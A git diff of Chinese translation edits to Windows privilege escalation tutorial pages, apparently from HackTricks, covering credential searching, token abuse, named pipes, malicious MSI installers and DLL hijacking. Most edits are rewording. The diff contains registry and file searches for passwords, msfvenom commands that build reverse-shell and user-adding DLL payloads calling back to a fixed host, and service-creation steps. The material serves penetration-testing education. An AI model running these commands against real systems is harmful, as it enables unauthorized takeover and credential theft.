在该注册表的CLSID中您可以找到子注册表**InProcServer32**,其中包含一个指向**DLL**的**默认值**和一个名为**ThreadingModel**的值,该值可以是**Apartment**(单线程)、**Free**(多线程)、**Both**(单线程或多线程)或**Neutral**(线程中立)。
@ -1198,7 +1198,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
**搜索注册表中的密钥名称和密码**
**在注册表中搜索密钥名称和密码**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@ -1208,7 +1208,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
### 搜索密码的工具
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件,我创建这个插件是为了 **自动执行每个搜索凭据的metasploit POST模块** 在受害者内部。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索此页面中提到的所有包含密码的文件。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页面提到的所有包含密码的文件。\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的优秀工具。
工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **会话**、**用户名** 和 **密码**这些数据以明文形式保存在多个工具中PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP
@ -1220,10 +1220,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄露的句柄
想象一下**一个以SYSTEM身份运行的进程打开一个新进程**`OpenProcess()`并具有**完全访问权限**。同一个进程**还创建一个新进程**`CreateProcess()`**具有低权限但继承主进程的所有打开句柄**。\
然后,如果你对低权限进程**具有完全访问权限**,你可以获取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入shellcode**。\
[阅读这个例子以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\
[阅读这篇**其他文章以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问权限)继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程(`OpenProcess()`)。同一个进程**还创建一个新进程**`CreateProcess()`**具有低权限但继承主进程的所有打开句柄**。\
然后,如果你对**低权限进程有完全访问权限**,你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。\
[阅读这个例子以获取更多关于**如何检测和利用此漏洞的信息**。](leaked-handle-exploitation.md)\
[阅读这个**其他帖子以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问权限)继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
## 命名管道客户端冒充
@ -1231,7 +1231,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Windows提供了一种称为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色定义为**命名管道服务器**和**命名管道客户端**。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了一个**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
此外,以下工具允许**使用像burp这样的工具拦截命名管道通信** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
@ -1279,7 +1279,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
要利用此漏洞,必须执行以下步骤:
要利用此漏洞,需要执行以下步骤:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1319,15 +1319,15 @@ integrity-levels.md
### **新服务**
如果您已经在高完整性进程中运行,**切换到 SYSTEM** 可以通过**创建和执行新服务**变得简单
如果您已经在高完整性进程中运行,**切换到 SYSTEM** 可以很简单,只需**创建并执行一个新服务**
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
```
### AlwaysInstallElevated
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
[有关相关注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](./#alwaysinstallelevated)
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并使用 _**.msi**_ 包装器**安装**反向 shell。\
[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@ -1335,19 +1335,19 @@ sc start newservicename
### From SeDebug + SeImpersonate to Full Token privileges
如果您拥有这些令牌权限(您可能会在已经是高完整性进程中找到),您将能够**以 SeDebug 权限打开几乎任何进程**(不受保护的进程),**复制该进程的令牌**,并创建一个**具有该令牌的任意进程**。\
如果您拥有这些令牌权限(您可能会在已经是高完整性进程中找到),您将能够**打开几乎任何进程**(非受保护进程),使用 SeDebug 权限,**复制进程的令牌**,并创建一个**具有该令牌的任意进程**。\
使用此技术通常**选择任何以 SYSTEM 身份运行的进程,具有所有令牌权限**_是的您可以找到没有所有令牌权限的 SYSTEM 进程_。\
**您可以在这里找到** [**执行所提议技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。**
### **Named Pipes**
此技术被 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道,然后创建/滥用一个服务来写入该管道**。然后,**使用 `SeImpersonate` 权限创建管道的**服务器将能够**模拟管道客户端(服务)的令牌**,从而获得 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息,您应该阅读这个**](./#named-pipe-client-impersonation)。\
如果您想要[**了解更多关于命名管道的信息,您应该阅读这个**](#named-pipe-client-impersonation)。\
如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例,您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll Hijacking
如果您设法**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll您将能够以这些权限执行任意代码。因此Dll Hijacking 对于这种特权升级也很有用,而且,如果从高完整性进程进行,**更容易实现**,因为它将对加载 dll 的文件夹具有**写权限**。\
如果您设法**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll您将能够以这些权限执行任意代码。因此Dll Hijacking 对于这种特权升级也很有用,而且,如果从高完整性进程进行,**更容易实现**,因为它将对用于加载 dll 的文件夹具有**写权限**。\
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/)**。**
### **From Administrator or Network Service to System**
@ -1371,11 +1371,11 @@ https://github.com/sailay1996/RpcSsImpersonator
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错误配置并收集信息 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错误配置**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。使用 -Thorough 在本地。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
@ -1385,11 +1385,11 @@ https://github.com/sailay1996/RpcSsImpersonator
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译) ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置(更多是收集信息的工具而不是 privesc需要编译 **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索错误配置(更多是收集信息工具而非 privesc需要编译 **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(在 github 上有预编译 exe**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(在 github 上的可执行文件预编译)。不推荐。它在 Win10 效果不好。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(来自 python 的 exe。不推荐。它在 Win10 效果不好。
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(在 github 上的可执行文件预编译)。不推荐。它在 Win10 效果不好。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(来自 python 的 exe。不推荐。它在 Win10 效果不好。
**Bat**

View File

@ -4,7 +4,7 @@
## Access Tokens
每个**登录**到系统的**用户持有一个包含安全信息的访问令牌**,用于该登录会话。当用户登录时,系统会创建一个访问令牌。**每个代表用户执行的进程**都有一个访问令牌的副本。该令牌标识用户、用户的组和用户的权限。令牌还包含一个登录SID安全标识符用于标识当前的登录会话。
每个**登录**到系统的**用户持有一个包含安全信息的访问令牌**,用于该登录会话。当用户登录时,系统会创建一个访问令牌。**代表用户执行的每个进程**都有一个访问令牌的副本。该令牌标识用户、用户的组和用户的权限。令牌还包含一个登录SID安全标识符用于标识当前的登录会话。
您可以通过执行 `whoami /all` 查看此信息。
```
@ -56,21 +56,21 @@ SeTimeZonePrivilege Change the time zone Disabled
### 本地管理员
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,使用具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
如果您想要[**了解更多关于 UAC 的信息,请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,使用的是具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
如果您想要[**了解更多关于 UAC 的信息,请阅读此页面**](../authentication-credentials-uac-and-efs/index.html#uac)**。**
### 凭据用户 impersonation
### 凭据用户冒充
如果您拥有**任何其他用户的有效凭据**,您可以**使用这些凭据创建**一个**新的登录会话**
```
runas /user:domain\username cmd.exe
```
**访问令牌**还包含**LSASS**中的登录会话的**引用**,这在进程需要访问网络的某些对象时非常有用。\
**访问令牌**还包含**LSASS**中的登录会话的**引用**,这在进程需要访问网络的某些对象时非常有用。\
您可以使用以下方法启动一个**使用不同凭据访问网络服务**的进程:
```
runas /user:domain\username /netonly cmd.exe
```
如果您拥有用于访问网络中对象的有效凭据,但这些凭据在当前主机中无效,因为它们仅将在网络中使用(在当前主机中将使用您当前用户的权限),这将非常有用
这在您拥有用于访问网络中对象的有效凭据时非常有用,但这些凭据在当前主机内无效,因为它们仅将在网络中使用(在当前主机中将使用您当前用户的权限)。
### 令牌类型
@ -81,11 +81,11 @@ runas /user:domain\username /netonly cmd.exe
- **Anonymous**:授予服务器与未识别用户相似的访问权限。
- **Identification**:允许服务器验证客户端的身份,而不利用其进行对象访问。
- **Impersonation**:使服务器能够在客户端身份下操作。
- **Delegation**类似于Impersonation但包括将这种身份假设扩展到服务器交互的远程系统的能力,以确保凭据的保留。
- **Delegation**类似于Impersonation但包括将此身份假设扩展到服务器与之交互的远程系统的能力,以确保凭据的保留。
#### 模拟令牌
#### Impersonate Tokens
使用metasploit的 _**incognito**_ 模块,如果您拥有足够的权限,您可以轻松地 **列出****模拟** 其他 **令牌**。这可能有助于执行 **作为其他用户的操作**。您还可以使用此技术 **提升权限**
使用metasploit的 _**incognito**_ 模块,如果您拥有足够的权限,您可以轻松地 **列出****冒充** 其他 **令牌**。这可能有助于执行 **作为其他用户的操作**。您还可以使用此技术 **提升权限**
### 令牌权限

View File

@ -2,11 +2,11 @@
# 创建恶意 MSI 并获取 Root
MSI 安装程序的创建将使用 wixtools具体来说将利用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他 MSI 构建工具,但在这个特定案例中并未成功。
MSI 安装程序的创建将使用 wixtools具体来说将利用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他 MSI 构建工具,但在这种情况下并未成功。
为了全面解 wix MSI 的使用示例,建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,演示 wix MSI 的用法。
为了全面解 wix MSI 的使用示例,建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,演示 wix MSI 的用法。
目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点可以使用以下 XML 代码([xml 来自这里](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点可以使用以下 XML 代码([xml 来自这里](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)
```markup
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
@ -38,7 +38,7 @@ fail_here
</Product>
</Wix>
```
重要的是要注意Package 元素包含诸如 InstallerVersion 和 Compressed 属性,分别指定安装程序的版本并指示包是否被压缩。
重要的是要注意Package 元素包含诸如 InstallerVersion 和 Compressed 属性,分别指定安装程序的版本并指示包是否被压缩。
创建过程涉及使用来自 wixtools 的 candle.exe 工具,从 msi.xml 生成 wixobject。应执行以下命令
```

View File

@ -2,26 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术**DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的特权升级。尽管这里重点关注升级,但劫持的方法在不同目标之间保持一致。
## 基本信息
DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术**DLL 欺骗、注入和旁加载**。它主要用于代码执行、实现持久性,以及较少见的特权提升。尽管这里重点关注提升,但劫持的方法在不同目标之间保持一致。
### 常见技术
### Common Techniques
用于 DLL 劫持的几种方法,每种方法的有效性取决于应用程序的 DLL 加载策略:
1. **DLL 替换**:用恶意 DLL 替换真实 DLL选择性地使用 DLL 代理以保留原始 DLL 的功能。
2. **DLL 搜索顺序劫持**将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用程序的搜索模式。
3. **幻影 DLL 劫持**:为应用程序创建一个恶意 DLL使其认为这是一个不存在的必需 DLL。
4. **DLL 重定向**修改搜索参数,如 `%PATH%``.exe.manifest` / `.exe.local` 文件,以引导应用程序加载恶意 DLL。
5. **WinSxS DLL 替换**:在 WinSxS 目录中用恶意 DLL 替换合法 DLL这种方法通常与 DLL 旁加载相关。
6. **相对路径 DLL 劫持**将恶意 DLL 放置在用户控制的目录中,与复制的应用程序一起,类似于二进制代理执行技术。
1. **DLL Replacement**: 用恶意 DLL 替换真实 DLL选择性地使用 DLL Proxying 保留原始 DLL 的功能。
2. **DLL Search Order Hijacking**: 将恶意 DLL 放置在合法 DLL 之前的搜索路径中,利用应用程序的搜索模式。
3. **Phantom DLL Hijacking**: 创建一个恶意 DLL 供应用程序加载,认为它是一个不存在的必需 DLL。
4. **DLL Redirection**: 修改搜索参数,如 `%PATH%``.exe.manifest` / `.exe.local` 文件,以引导应用程序恶意 DLL。
5. **WinSxS DLL Replacement**: 在 WinSxS 目录中用恶意 DLL 替换合法 DLL这种方法通常与 DLL 侧加载相关。
6. **Relative Path DLL Hijacking**: 将恶意 DLL 放置在用户控制的目录中,与复制的应用程序一起,类似于二进制代理执行技术。
## 查找缺失的 DLL
## Finding missing Dlls
查找系统中缺失的 DLL 的最常见方法是从 sysinternals 运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)**设置** **以下 2 个过滤器**
在系统中查找缺失的 DLL 最常见的方法是从 sysinternals 运行 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)**设置** **以下 2 个过滤器**
![](<../../images/image (311).png>)
@ -31,60 +29,60 @@ DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵
![](<../../images/image (314).png>)
如果您在寻找 **缺失的 DLL**可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 DLL**,则应设置 **另一个过滤器,如 "进程名称" "包含" "\<exec name>",执行它,然后停止捕获事件**。
如果您在寻找 **缺失的 dlls**,您可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 dll**,您应该设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,并停止捕获事件**。
## 利用缺失的 DLL
## Exploiting Missing Dlls
为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够在 **搜索 DLL 的文件夹之前****文件夹****编写** 一个 DLL奇怪的情况或者我们将能够在 **将要搜索 DLL 的某个文件夹****编写**,而原始 **DLL 在任何文件夹中都不存在**
为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 dll** 在某个 **将被搜索的地方**。因此,我们将能够 **在一个文件夹中编写** 一个 dll**dll 在** 原始 **dll** 之前被搜索(奇怪的情况),或者我们将能够 **在某个文件夹中编写**,该文件夹将被搜索,而原始 **dll** 在任何文件夹中都不存在
### DLL 搜索顺序
### Dll Search Order
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时DLL 劫持的问题就出现,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时DLL 劫持的问题就出现,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
您可以在 32 位系统上看到 **DLL 搜索顺序**
1. 应用程序加载的目录。
2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取该目录的路径。(_C:\Windows\System32_)
3. 16 位系统目录。没有函数获取该目录的路径,但会进行搜索。 (_C:\Windows\System_)
3. 16 位系统目录。没有函数获取该目录的路径,但会搜索。 (_C:\Windows\System_)
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。(_C:\Windows_)
5. 当前目录。
6. 在 PATH 环境变量中列出的目录。请注意,这不包括 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
6. 在 PATH 环境变量中列出的目录。请注意,这不包括 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
这是 **启用 SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0默认启用
这是 **默认** 搜索顺序,**SafeDllSearchMode** 启用时。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0默认启用
如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将被视为仅按名称加载进行搜索)。
最后,请注意 **一个 dll 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 dll **只会在该路径中被搜索**(如果该 dll 有任何依赖项,它们将被视为仅按名称加载进行搜索)。
还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。
#### Windows 文档中的 DLL 搜索顺序例外
#### Exceptions on dll search order from Windows docs
Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会对 DLL 进行搜索**。
- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前执行重定向和清单检查。**在这种情况下,系统不会进行 DLL 搜索**。
- 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
- 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。
### 提升特权
### Escalating Privileges
**要求**
**Requirements**:
- 确定一个在 **不同特权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**。
- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
- 确定一个在 **不同特权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少一个 DLL**。
- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入权限**。此位置可能是可执行文件的目录或系统路径中的目录。
是的,要求很难找到,因为 **默认情况下,找不到缺少 DLL 的特权可执行文件是有点奇怪的**,而且在系统路径文件夹中 **拥有写入权限** 更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹的路径)。
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限甚至 **更奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能在那里找到一个 Windows 版本的 DLL 劫持 **PoC**(可能只需更改您有写入权限的文件夹的路径)。
请注意,您可以通过以下方式 **检查文件夹中的权限**
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
并**检查PATH中所有文件夹的权限**
并**检查 PATH 中所有文件夹的权限**
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
@ -106,7 +104,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
### 示例
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何请注意Dll劫持在[**从中等完整性级别提升到高完整性绕过UAC**](../authentication-credentials-uac-and-efs.md#uac)或[**高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何请注意Dll劫持在[**从中等完整性级别提升到高完整性绕过UAC**](../authentication-credentials-uac-and-efs.md#uac)或[**高完整性提升到SYSTEM**](#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
## **创建和编译Dll**
@ -115,7 +113,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
### **Meterpreter**
@ -127,13 +125,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**创建用户x86 我没有看到 x64 版本):**
**创建用户 (x86 我没有看到 x64 版本):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### 你自己的
注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
注意,在多个情况下,您编译的 Dll 必须 **导出多个函数**,这些函数将被受害者进程加载,如果这些函数不存在,**二进制文件将无法加载**它们,**攻击将失败**。
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -214,7 +212,7 @@ break;
return TRUE;
}
```
## 参考文献
## 参考
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)

View File

@ -4,7 +4,7 @@
## Basic Information
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权限提升。尽管这里重点关注升,但劫持的方法在不同目标间保持一致。
DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语包括几种战术,如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的权升。尽管这里重点关注升,但劫持的方法在不同目标间保持一致。
### Common Techniques
@ -29,18 +29,18 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
![](<../../../images/image (153).png>)
如果您在寻找 **缺失的 DLL**,可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 DLL**则应设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**
